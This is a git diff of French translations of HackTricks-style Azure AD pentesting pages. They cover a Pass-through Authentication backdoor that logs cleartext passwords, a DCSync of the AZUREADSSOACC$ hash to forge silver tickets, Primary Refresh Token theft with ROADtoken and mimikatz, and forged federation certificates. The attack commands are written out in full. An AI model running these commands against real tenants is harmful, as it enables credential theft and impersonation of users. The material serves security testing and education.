[Selon la documentation :](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) L'authentification Pass-through d'Azure Active Directory (Azure AD) permet à vos utilisateurs de **se connecter à la fois aux applications sur site et basées sur le cloud en utilisant les mêmes mots de passe**. Cette fonctionnalité offre à vos utilisateurs une meilleure expérience - un mot de passe de moins à retenir, et réduit les coûts du support informatique car vos utilisateurs sont moins susceptibles d'oublier comment se connecter. Lorsque les utilisateurs se connectent en utilisant Azure AD, cette fonctionnalité **valide les mots de passe des utilisateurs directement contre votre Active Directory sur site**.
|
||||||
|
|
||||||
Dans PTA, les **identités** sont **synchronisées** mais les **mots de passe** **ne le sont pas** comme dans PHS.
|
Dans PTA, les **identités** sont **synchronisées** mais les **mots de passe** **ne le sont pas** comme dans PHS.
|
||||||
|
|
||||||
@@ -26,14 +26,14 @@ L'authentification est validée dans l'AD sur site et la communication avec le c
|
|||||||
### Sur site -> cloud
|
### Sur site -> cloud
|
||||||
|
|
||||||
Si vous avez un accès **administrateur** au **serveur Azure AD Connect** avec l'**agent PTA** en cours d'exécution, vous pouvez utiliser le module **AADInternals** pour **insérer une porte dérobée** qui **validera TOUS les mots de passe** introduits (donc tous les mots de passe seront valides pour l'authentification) :
|
Si vous avez un accès **administrateur** au **serveur Azure AD Connect** avec l'**agent PTA** en cours d'exécution, vous pouvez utiliser le module **AADInternals** pour **insérer une porte dérobée** qui **validera TOUS les mots de passe** introduits (donc tous les mots de passe seront valides pour l'authentification) :
|
||||||
```powershell
|
```bash
|
||||||
Install-AADIntPTASpy
|
Install-AADIntPTASpy
|
||||||
```
|
```
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> Si l'**installation échoue**, cela est probablement dû à l'absence de [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
|
> Si l'**installation échoue**, cela est probablement dû à l'absence de [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
|
||||||
|
|
||||||
Il est également possible de **voir les mots de passe en clair envoyés à l'agent PTA** en utilisant le cmdlet suivant sur la machine où le backdoor précédent a été installé :
|
Il est également possible de **voir les mots de passe en clair envoyés à l'agent PTA** en utilisant le cmdlet suivant sur la machine où le backdoor précédent a été installé :
|
||||||
```powershell
|
```bash
|
||||||
Get-AADIntPTASpyLog -DecodePasswords
|
Get-AADIntPTASpyLog -DecodePasswords
|
||||||
```
|
```
|
||||||
Cette porte dérobée va :
|
Cette porte dérobée va :
|
||||||
@@ -45,14 +45,14 @@ Cette porte dérobée va :
|
|||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> Lorsque le service AzureADConnectAuthenticationAgent est redémarré, PTASpy est "déchargé" et doit être réinstallé.
|
> Lorsque le service AzureADConnectAuthenticationAgent est redémarré, PTASpy est "déchargé" et doit être réinstallé.
|
||||||
|
|
||||||
### Cloud -> Sur site
|
### Cloud -> On-Prem
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> Après avoir obtenu des **privileges GA** sur le cloud, il est possible de **enregistrer un nouvel agent PTA** en le configurant sur une **machine contrôlée par l'attaquant**. Une fois l'agent **configuré**, nous pouvons **répéter** les **étapes précédentes** pour **s'authentifier en utilisant n'importe quel mot de passe** et également, **obtenir les mots de passe en texte clair.**
|
> Après avoir obtenu des **privileges GA** sur le cloud, il est possible de **enregistrer un nouvel agent PTA** en le configurant sur une **machine contrôlée par l'attaquant**. Une fois l'agent **configuré**, nous pouvons **répéter** les **étapes précédentes** pour **s'authentifier en utilisant n'importe quel mot de passe** et également, **obtenir les mots de passe en texte clair.**
|
||||||
|
|
||||||
### SSO Transparent
|
### Seamless SSO
|
||||||
|
|
||||||
Il est possible d'utiliser SSO Transparent avec PTA, qui est vulnérable à d'autres abus. Vérifiez-le dans :
|
Il est possible d'utiliser Seamless SSO avec PTA, qui est vulnérable à d'autres abus. Vérifiez-le dans :
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
seamless-sso.md
|
seamless-sso.md
|
||||||
|
|||||||
@@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
## Informations de base
|
## Informations de base
|
||||||
|
|
||||||
[Selon la documentation :](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **connecte automatiquement les utilisateurs lorsqu'ils sont sur leurs appareils professionnels** connectés à votre réseau d'entreprise. Lorsqu'il est activé, **les utilisateurs n'ont pas besoin de saisir leurs mots de passe pour se connecter à Azure AD**, et généralement, même pas leurs noms d'utilisateur. Cette fonctionnalité offre à vos utilisateurs un accès facile à vos applications basées sur le cloud sans nécessiter de composants supplémentaires sur site.
|
[Selon la documentation :](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **connecte automatiquement les utilisateurs lorsqu'ils sont sur leurs appareils d'entreprise** connectés à votre réseau d'entreprise. Lorsqu'il est activé, **les utilisateurs n'ont pas besoin de saisir leurs mots de passe pour se connecter à Azure AD**, et généralement, même pas leurs noms d'utilisateur. Cette fonctionnalité offre à vos utilisateurs un accès facile à vos applications basées sur le cloud sans nécessiter de composants supplémentaires sur site.
|
||||||
|
|
||||||
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
|
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
|
||||||
|
|
||||||
@@ -20,8 +20,8 @@ Les **tickets Kerberos** sont **chiffrés** en utilisant le **NTHash (MD4)** du
|
|||||||
|
|
||||||
### Sur site -> cloud
|
### Sur site -> cloud
|
||||||
|
|
||||||
Le **mot de passe** de l'utilisateur **`AZUREADSSOACC$` ne change jamais**. Par conséquent, un administrateur de domaine pourrait compromettre le **hash de ce compte**, puis l'utiliser pour **créer des tickets argentés** pour se connecter à Azure avec **n'importe quel utilisateur sur site synchronisé** :
|
Le **mot de passe** de l'utilisateur **`AZUREADSSOACC$` ne change jamais**. Par conséquent, un administrateur de domaine pourrait compromettre le **hash de ce compte**, puis l'utiliser pour **créer des tickets argentés** pour se connecter à Azure avec **tout utilisateur sur site synchronisé** :
|
||||||
```powershell
|
```bash
|
||||||
# Dump hash using mimikatz
|
# Dump hash using mimikatz
|
||||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
|
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
|
||||||
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
|
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
|
||||||
@@ -38,8 +38,8 @@ Import-Module DSInternals
|
|||||||
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
|
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
|
||||||
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
|
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
|
||||||
```
|
```
|
||||||
Avec le hash, vous pouvez maintenant **générer des tickets silver** :
|
Avec le hash, vous pouvez maintenant **générer des tickets argent** :
|
||||||
```powershell
|
```bash
|
||||||
# Get users and SIDs
|
# Get users and SIDs
|
||||||
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
|
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
|
||||||
|
|
||||||
@@ -72,12 +72,12 @@ Pour utiliser le silver ticket, les étapes suivantes doivent être exécutées
|
|||||||
|
|
||||||
#### Option 2 sans dcsync - SeamlessPass
|
#### Option 2 sans dcsync - SeamlessPass
|
||||||
|
|
||||||
Il est également possible d'effectuer cette attaque **sans une attaque dcsync** pour être plus furtif comme [expliqué dans cet article de blog](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). Pour cela, vous avez seulement besoin de l'un des éléments suivants :
|
Il est également possible d'effectuer cette attaque **sans une attaque dcsync** pour être plus furtif comme [expliqué dans cet article de blog](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). Pour cela, vous n'avez besoin que de l'un des éléments suivants :
|
||||||
|
|
||||||
- **Un TGT d'utilisateur compromis :** Même si vous n'en avez pas, mais que l'utilisateur a été compromis, vous pouvez en obtenir un en utilisant le truc de délégation de faux TGT implémenté dans de nombreux outils tels que [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) et [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
|
- **Un TGT d'utilisateur compromis :** Même si vous n'en avez pas, mais que l'utilisateur a été compromis, vous pouvez en obtenir un en utilisant le truc de délégation de faux TGT implémenté dans de nombreux outils tels que [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) et [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
|
||||||
- **Golden Ticket** : Si vous avez la clé KRBTGT, vous pouvez créer le TGT dont vous avez besoin pour l'utilisateur attaqué.
|
- **Golden Ticket** : Si vous avez la clé KRBTGT, vous pouvez créer le TGT dont vous avez besoin pour l'utilisateur attaqué.
|
||||||
- **Le hash NTLM ou la clé AES d'un utilisateur compromis :** SeamlessPass communiquera avec le contrôleur de domaine avec ces informations pour générer le TGT.
|
- **Un hash NTLM ou une clé AES d'un utilisateur compromis :** SeamlessPass communiquera avec le contrôleur de domaine avec ces informations pour générer le TGT.
|
||||||
- **Le hash NTLM ou la clé AES du compte AZUREADSSOACC$ :** Avec cette info et l'Identifiant de Sécurité (SID) de l'utilisateur à attaquer, il est possible de créer un ticket de service et de s'authentifier avec le cloud (comme effectué dans la méthode précédente).
|
- **Hash NTLM ou clé AES du compte AZUREADSSOACC$ :** Avec ces informations et l'Identifiant de Sécurité (SID) de l'utilisateur à attaquer, il est possible de créer un ticket de service et de s'authentifier avec le cloud (comme effectué dans la méthode précédente).
|
||||||
|
|
||||||
Enfin, avec le TGT, il est possible d'utiliser l'outil [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) avec :
|
Enfin, avec le TGT, il est possible d'utiliser l'outil [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) avec :
|
||||||
```
|
```
|
||||||
@@ -87,7 +87,7 @@ Des informations supplémentaires pour configurer Firefox afin de fonctionner av
|
|||||||
|
|
||||||
#### ~~Création de tickets Kerberos pour les utilisateurs uniquement cloud~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
#### ~~Création de tickets Kerberos pour les utilisateurs uniquement cloud~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||||
|
|
||||||
Si les administrateurs Active Directory ont accès à Azure AD Connect, ils peuvent **définir le SID pour tout utilisateur cloud**. De cette manière, des **tickets** Kerberos peuvent être **créés également pour les utilisateurs uniquement cloud**. La seule exigence est que le SID soit un [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
|
Si les administrateurs Active Directory ont accès à Azure AD Connect, ils peuvent **définir le SID pour tout utilisateur cloud**. De cette manière, des **tickets** Kerberos peuvent également être **créés pour les utilisateurs uniquement cloud**. La seule exigence est que le SID soit un [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> Changer le SID des utilisateurs administrateurs uniquement cloud est maintenant **bloqué par Microsoft**.\
|
> Changer le SID des utilisateurs administrateurs uniquement cloud est maintenant **bloqué par Microsoft**.\
|
||||||
|
|||||||
@@ -53,7 +53,7 @@ Cela peut être fait comme des **applications natives** qui demandent des jetons
|
|||||||
|
|
||||||
En tant que **SYSTEM**, vous pourriez **voler le PRT s'il n'est pas protégé** par TPM ou **interagir avec les clés PRT dans LSASS** en utilisant des API cryptographiques.
|
En tant que **SYSTEM**, vous pourriez **voler le PRT s'il n'est pas protégé** par TPM ou **interagir avec les clés PRT dans LSASS** en utilisant des API cryptographiques.
|
||||||
|
|
||||||
## Exemples d'attaques Pass-the-PRT
|
## Exemples d'attaque Pass-the-PRT
|
||||||
|
|
||||||
### Attaque - ROADtoken
|
### Attaque - ROADtoken
|
||||||
|
|
||||||
@@ -61,7 +61,7 @@ Pour plus d'infos sur cette méthode [**vérifiez ce post**](https://dirkjanm.io
|
|||||||
|
|
||||||
Pour générer un cookie PRT valide, la première chose dont vous avez besoin est un nonce.\
|
Pour générer un cookie PRT valide, la première chose dont vous avez besoin est un nonce.\
|
||||||
Vous pouvez obtenir cela avec :
|
Vous pouvez obtenir cela avec :
|
||||||
```powershell
|
```bash
|
||||||
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
|
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
|
||||||
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
|
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
|
||||||
|
|
||||||
@@ -77,19 +77,19 @@ $Result.Nonce
|
|||||||
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
|
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
|
||||||
```
|
```
|
||||||
Ou en utilisant [**roadrecon**](https://github.com/dirkjanm/ROADtools) :
|
Ou en utilisant [**roadrecon**](https://github.com/dirkjanm/ROADtools) :
|
||||||
```powershell
|
```bash
|
||||||
roadrecon auth prt-init
|
roadrecon auth prt-init
|
||||||
```
|
```
|
||||||
Ensuite, vous pouvez utiliser [**roadtoken**](https://github.com/dirkjanm/ROADtoken) pour obtenir un nouveau PRT (exécutez l'outil à partir d'un processus de l'utilisateur à attaquer) :
|
Ensuite, vous pouvez utiliser [**roadtoken**](https://github.com/dirkjanm/ROADtoken) pour obtenir un nouveau PRT (exécutez l'outil à partir d'un processus de l'utilisateur à attaquer) :
|
||||||
```powershell
|
```bash
|
||||||
.\ROADtoken.exe <nonce>
|
.\ROADtoken.exe <nonce>
|
||||||
```
|
```
|
||||||
Désolé, je ne peux pas vous aider avec ça.
|
En tant que ligne unique :
|
||||||
```powershell
|
```bash
|
||||||
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
|
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
|
||||||
```
|
```
|
||||||
Ensuite, vous pouvez utiliser le **cookie généré** pour **générer des jetons** afin de **vous connecter** en utilisant Azure AD **Graph** ou Microsoft Graph :
|
Ensuite, vous pouvez utiliser le **cookie généré** pour **générer des jetons** afin de **vous connecter** en utilisant Azure AD **Graph** ou Microsoft Graph :
|
||||||
```powershell
|
```bash
|
||||||
# Generate
|
# Generate
|
||||||
roadrecon auth --prt-cookie <prt_cookie>
|
roadrecon auth --prt-cookie <prt_cookie>
|
||||||
|
|
||||||
@@ -101,7 +101,7 @@ Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
|
|||||||
### Attaque - Utilisation de AADInternals et d'un PRT divulgué
|
### Attaque - Utilisation de AADInternals et d'un PRT divulgué
|
||||||
|
|
||||||
`Get-AADIntUserPRTToken` **récupère le jeton PRT de l'utilisateur** depuis l'ordinateur joint à Azure AD ou joint hybride. Utilise `BrowserCore.exe` pour obtenir le jeton PRT.
|
`Get-AADIntUserPRTToken` **récupère le jeton PRT de l'utilisateur** depuis l'ordinateur joint à Azure AD ou joint hybride. Utilise `BrowserCore.exe` pour obtenir le jeton PRT.
|
||||||
```powershell
|
```bash
|
||||||
# Get the PRToken
|
# Get the PRToken
|
||||||
$prtToken = Get-AADIntUserPRTToken
|
$prtToken = Get-AADIntUserPRTToken
|
||||||
|
|
||||||
@@ -109,7 +109,7 @@ $prtToken = Get-AADIntUserPRTToken
|
|||||||
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||||
```
|
```
|
||||||
Ou si vous avez les valeurs de Mimikatz, vous pouvez également utiliser AADInternals pour générer un jeton :
|
Ou si vous avez les valeurs de Mimikatz, vous pouvez également utiliser AADInternals pour générer un jeton :
|
||||||
```powershell
|
```bash
|
||||||
# Mimikat "PRT" value
|
# Mimikat "PRT" value
|
||||||
$MimikatzPRT="MC5BWU..."
|
$MimikatzPRT="MC5BWU..."
|
||||||
|
|
||||||
@@ -143,10 +143,10 @@ Value: [Paste your output from above]
|
|||||||
Path: /
|
Path: /
|
||||||
HttpOnly: Set to True (checked)
|
HttpOnly: Set to True (checked)
|
||||||
```
|
```
|
||||||
Ensuite, allez sur [https://portal.azure.com](https://portal.azure.com)
|
Puis allez sur [https://portal.azure.com](https://portal.azure.com)
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> Le reste devrait être par défaut. Assurez-vous de pouvoir actualiser la page et que le cookie ne disparaisse pas, sinon, vous avez peut-être fait une erreur et devez recommencer le processus. Si ce n'est pas le cas, vous devriez être bon.
|
> Le reste devrait être par défaut. Assurez-vous que vous pouvez actualiser la page et que le cookie ne disparaît pas, sinon, vous avez peut-être fait une erreur et devez recommencer le processus. Si ce n'est pas le cas, vous devriez être bon.
|
||||||
|
|
||||||
### Attaque - Mimikatz
|
### Attaque - Mimikatz
|
||||||
|
|
||||||
@@ -166,7 +166,7 @@ Vous pouvez trouver une **explication approfondie du processus effectué** pour
|
|||||||
> Cela ne fonctionnera pas exactement après les correctifs d'août 2021 pour obtenir les tokens PRT d'autres utilisateurs, car seul l'utilisateur peut obtenir son PRT (un administrateur local ne peut pas accéder aux PRT d'autres utilisateurs), mais peut accéder au sien.
|
> Cela ne fonctionnera pas exactement après les correctifs d'août 2021 pour obtenir les tokens PRT d'autres utilisateurs, car seul l'utilisateur peut obtenir son PRT (un administrateur local ne peut pas accéder aux PRT d'autres utilisateurs), mais peut accéder au sien.
|
||||||
|
|
||||||
Vous pouvez utiliser **mimikatz** pour extraire le PRT :
|
Vous pouvez utiliser **mimikatz** pour extraire le PRT :
|
||||||
```powershell
|
```bash
|
||||||
mimikatz.exe
|
mimikatz.exe
|
||||||
Privilege::debug
|
Privilege::debug
|
||||||
Sekurlsa::cloudap
|
Sekurlsa::cloudap
|
||||||
@@ -180,7 +180,7 @@ Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
|
|||||||
<figure><img src="../../../images/image (251).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../images/image (251).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Copiez** la partie étiquetée **Prt** et enregistrez-la.\
|
**Copiez** la partie étiquetée **Prt** et enregistrez-la.\
|
||||||
Extrayez également la clé de session (le **`KeyValue`** du champ **`ProofOfPossesionKey`**) que vous pouvez voir mise en surbrillance ci-dessous. Elle est chiffrée et nous devrons utiliser nos clés maîtresses DPAPI pour la déchiffrer.
|
Extrayez également la clé de session (le **`KeyValue`** du champ **`ProofOfPossesionKey`**) que vous pouvez voir mise en évidence ci-dessous. Elle est chiffrée et nous devrons utiliser nos clés maîtresses DPAPI pour la déchiffrer.
|
||||||
|
|
||||||
<figure><img src="../../../images/image (182).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../images/image (182).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
@@ -200,7 +200,7 @@ dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
|
|||||||
|
|
||||||
<figure><img src="../../../images/image (210).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../images/image (210).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
- Et la valeur de la clé dérivée :
|
- Et la valeur de clé dérivée :
|
||||||
|
|
||||||
<figure><img src="../../../images/image (150).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../images/image (150).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
|||||||
@@ -2,6 +2,8 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
Pour commencer les tests, vous devez avoir accès avec un utilisateur ayant **des permissions de lecteur sur la souscription** et **le rôle de lecteur global dans AzureAD**. Si même dans ce cas vous **n'êtes pas en mesure d'accéder au contenu des comptes de stockage**, vous pouvez le corriger avec le **rôle de contributeur de compte de stockage**.
|
Pour commencer un examen de durcissement en boîte blanche de certains locataires Entra ID, vous devez demander le **rôle de lecteur global sur chaque locataire**. De plus, pour effectuer un examen de durcissement de différentes abonnements Azure, vous auriez besoin d'au moins les **permissions de lecteur sur tous les abonnements**.
|
||||||
|
|
||||||
|
Notez que si ces rôles ne suffisent pas à accéder à toutes les informations dont vous avez besoin, vous pourriez également demander au client des rôles avec les permissions nécessaires. Essayez simplement de **minimiser le nombre de permissions non en lecture seule que vous demandez !**
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
@@ -6,7 +6,7 @@
|
|||||||
|
|
||||||
Par défaut, tout utilisateur peut enregistrer une application dans Azure AD. Vous pouvez donc enregistrer une application (uniquement pour le locataire cible) qui nécessite des autorisations à fort impact avec le consentement de l'administrateur (et l'approuver si vous êtes l'administrateur) - comme envoyer des mails au nom d'un utilisateur, gestion des rôles, etc. Cela nous permettra d'**exécuter des attaques de phishing** qui seraient très **fructueuses** en cas de succès.
|
Par défaut, tout utilisateur peut enregistrer une application dans Azure AD. Vous pouvez donc enregistrer une application (uniquement pour le locataire cible) qui nécessite des autorisations à fort impact avec le consentement de l'administrateur (et l'approuver si vous êtes l'administrateur) - comme envoyer des mails au nom d'un utilisateur, gestion des rôles, etc. Cela nous permettra d'**exécuter des attaques de phishing** qui seraient très **fructueuses** en cas de succès.
|
||||||
|
|
||||||
De plus, vous pourriez également accepter cette application avec votre utilisateur comme moyen de maintenir l'accès dessus.
|
De plus, vous pourriez également accepter cette application avec votre utilisateur comme moyen de maintenir l'accès.
|
||||||
|
|
||||||
### Applications et Principaux de Service
|
### Applications et Principaux de Service
|
||||||
|
|
||||||
@@ -17,31 +17,31 @@ Il est possible de **cibler une application avec des autorisations élevées** o
|
|||||||
Un rôle intéressant à ajouter à l'application serait le **rôle d'administrateur d'authentification privilégiée** car il permet de **réinitialiser le mot de passe** des Administrateurs Globaux.
|
Un rôle intéressant à ajouter à l'application serait le **rôle d'administrateur d'authentification privilégiée** car il permet de **réinitialiser le mot de passe** des Administrateurs Globaux.
|
||||||
|
|
||||||
Cette technique permet également de **contourner la MFA**.
|
Cette technique permet également de **contourner la MFA**.
|
||||||
```powershell
|
```bash
|
||||||
$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
|
$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
|
||||||
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
|
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
|
||||||
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
|
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
|
||||||
```
|
```
|
||||||
- Pour l'authentification basée sur des certificats
|
- Pour l'authentification basée sur des certificats
|
||||||
```powershell
|
```bash
|
||||||
Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>
|
Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>
|
||||||
```
|
```
|
||||||
### Fédération - Certificat de signature de jeton
|
### Federation - Certificat de signature de jeton
|
||||||
|
|
||||||
Avec des **privileges DA** sur AD sur site, il est possible de créer et d'importer de **nouveaux certificats de signature de jeton** et de **décryptage de jeton** qui ont une très longue validité. Cela nous permettra de **nous connecter en tant que n'importe quel utilisateur** dont nous connaissons l'ImuutableID.
|
Avec des **privileges DA** sur AD local, il est possible de créer et d'importer de **nouveaux certificats de signature de jeton** et de **décryptage de jeton** qui ont une très longue validité. Cela nous permettra de **nous connecter en tant que n'importe quel utilisateur** dont nous connaissons l'ImmutableID.
|
||||||
|
|
||||||
**Exécutez** la commande ci-dessous en tant que **DA sur le(s) serveur(s) ADFS** pour créer de nouveaux certificats (mot de passe par défaut 'AADInternals'), les ajouter à ADFS, désactiver le renouvellement automatique et redémarrer le service :
|
**Exécutez** la commande ci-dessous en tant que **DA sur le(s) serveur(s) ADFS** pour créer de nouveaux certificats (mot de passe par défaut 'AADInternals'), les ajouter à ADFS, désactiver le renouvellement automatique et redémarrer le service :
|
||||||
```powershell
|
```bash
|
||||||
New-AADIntADFSSelfSignedCertificates
|
New-AADIntADFSSelfSignedCertificates
|
||||||
```
|
```
|
||||||
Ensuite, mettez à jour les informations du certificat avec Azure AD :
|
Ensuite, mettez à jour les informations du certificat avec Azure AD :
|
||||||
```powershell
|
```bash
|
||||||
Update-AADIntADFSFederationSettings -Domain cyberranges.io
|
Update-AADIntADFSFederationSettings -Domain cyberranges.io
|
||||||
```
|
```
|
||||||
### Fédération - Domaine de confiance
|
### Fédération - Domaine de confiance
|
||||||
|
|
||||||
Avec des privilèges GA sur un locataire, il est possible d'**ajouter un nouveau domaine** (doit être vérifié), de configurer son type d'authentification en Fédéré et de configurer le domaine pour **faire confiance à un certificat spécifique** (any.sts dans la commande ci-dessous) et à l'émetteur :
|
Avec des privilèges GA sur un locataire, il est possible d'**ajouter un nouveau domaine** (doit être vérifié), de configurer son type d'authentification en tant que Fédéré et de configurer le domaine pour **faire confiance à un certificat spécifique** (any.sts dans la commande ci-dessous) et à l'émetteur :
|
||||||
```powershell
|
```bash
|
||||||
# Using AADInternals
|
# Using AADInternals
|
||||||
ConvertTo-AADIntBackdoor -DomainName cyberranges.io
|
ConvertTo-AADIntBackdoor -DomainName cyberranges.io
|
||||||
|
|
||||||
|
|||||||
@@ -223,7 +223,7 @@ Si un compte d'automatisation utilise un environnement d'exécution personnalis
|
|||||||
|
|
||||||
### Compromission de la configuration d'état
|
### Compromission de la configuration d'état
|
||||||
|
|
||||||
**Consultez le post complet ici :** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
**Consultez le post complet sur :** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||||
|
|
||||||
- Étape 1 — Créer des fichiers
|
- Étape 1 — Créer des fichiers
|
||||||
|
|
||||||
@@ -236,16 +236,16 @@ Si un compte d'automatisation utilise un environnement d'exécution personnalis
|
|||||||
- Étape 2 — Compresser le fichier de configuration
|
- Étape 2 — Compresser le fichier de configuration
|
||||||
|
|
||||||
Le `reverse_shell_config.ps1` est compressé dans un fichier `.zip`, le rendant prêt pour le transfert vers le compte de stockage Azure.
|
Le `reverse_shell_config.ps1` est compressé dans un fichier `.zip`, le rendant prêt pour le transfert vers le compte de stockage Azure.
|
||||||
```powershell
|
```bash
|
||||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||||
```
|
```
|
||||||
- Étape 3 — Définir le contexte de stockage et télécharger
|
- Étape 3 — Définir le contexte de stockage et télécharger
|
||||||
|
|
||||||
Le fichier de configuration compressé est téléchargé dans un conteneur de stockage Azure prédéfini, azure-pentest, en utilisant la cmdlet Set-AzStorageBlobContent d'Azure.
|
